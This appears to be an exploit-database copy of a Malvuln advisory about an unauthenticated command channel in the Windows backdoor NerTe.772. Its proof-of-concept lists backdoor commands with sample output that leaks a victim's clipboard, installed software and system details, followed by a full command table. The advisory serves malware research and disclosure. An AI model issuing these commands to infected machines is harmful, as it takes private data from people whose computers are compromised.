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Backdoor.Win32.NerTe.772 / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-655 N/A Critical
Author Risk Exploitation Type Date
Unknown High Remote 2021-05-30
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 0.772 0.977

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021050165

Below is a copy:

Backdoor.Win32.NerTe.772 / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/464d7073f884b586b17950eef2908a6e_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.772
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP ports 21, 80 and drops an executable named "scanregs.exe" under Windows dir. Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc.
Type: PE32
MD5: 464d7073f884b586b17950eef2908a6e
Vuln ID: MVID-2021-0229
Dropped files: scanregs.exe
Disclosure: 05/28/2021

Exploit/PoC:
1) Get Clipboard data.

GETCLBEmptyGETCLB
GETCLB*************** Clipboard **************I dont like u*************** End **************

2) Get Sounds

MSGUnknown commandGETSND
GETSNDC:\a\17.wavC:\a\18.wavC:\a\21.wavC:\a\22.wavC:\a\23.wavC:\a\24.wavC:\a\29.wavC:\a\30.wavC:\a\31.wavC:\a\32.wav

3) Get Installed Software

MSGUnknown commandGETIN2
GETIN2DESKTOP-2C3IQHOVictimAT/AT COMPATIBLEINTEL  - 604000004/13/1810:36:15 PM1 Hour, 15 Minutes, 19 Seconds.0002
792.64UnknownGETIN32146947072951943168-14769315841274384384214735257619858636805565,53610000 - 7FFEFFFF4,096
GETIN4NTFSc:\A2C9-AD2F8540578201612998012928512820,851,0213,173,343FixedCDC: []D: []GETIN6HxD Hex Editor version 1.7.7.0
WinPcap 4.1.3WinSCP 5.13Wireshark 2.4.5 64-bitMicrosoft Visual C++ 2010  x86 Redistributable - 10.0.30319Microsoft Visual C++ 2008
Redistributable - x86 9.0.30729.4148Python LauncherJava Auto UpdaterMicrosoft Visual
etc...

4) Get System Info

GETDAT2021527235323GETRST
RSTR09
000001http://go.microsoft.com/fwlink/?LinkId=548960000001C:\Users\Victim\Favorites00000000RSTR01
00000000000000000000000000001RSTR02
000c:\000-100nono4400000000000000000000000000000000000000000RSTR06
-10100000no0%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\[email protected],-1120000000000nonono0
%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu0001%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start MenuRSTR04
00no01000nononono0no000PM0000%USERPROFILE%\Desktop000RSTR03
00000000000000000ApplicationApplication ExtensionMS-DOS ApplicationWindows Batch File0no00no0
etc...


Commands List:

0xa3690: GETSND
0xa3d1c: GETCLB
0xa3d2c: GETCLB
0xa79e8: GETSCR
0xca0f4: GETIN2
0xca138: GETIN3
0xca168: GETIN4
0xca178: GETIN6
0xca1c4: GETIN7
0xca1d4: GETIN8
0xca1e4: GETIN9
0xca218: GETI10
0xd3ced: GETSND
0xd3dfd: GETDRV
0xd3e0c: GETDRV
0xd3e2d: GETCOL
0xd3e3c: GETCOL
0xd3e55: GETWND
0xd3e64: GETWND
0xd3f0d: GETMP3
0xd3f25: GETIN5
0xd3f34: GETIN5
0xd406d: GETINF
0xd40cd: GETIN2
0xd45cd: GETCLB
0xd4609: GETRST
0xd47d5: GETSCR
0xd4a35: GETDAT
0xd4a44: GETDAT
0xd4c65: GETREG
0xd4c74: GETREG
0xd4c7d: GETRE2
0xd4c8c: GETRE2
0xa12b0: SETUPI
0xd3cc5: SETSND
0xd4005: SETSCT
0xd4741: SETUPI
0xd47a9: SETUP
0xd4c95: SETCLR


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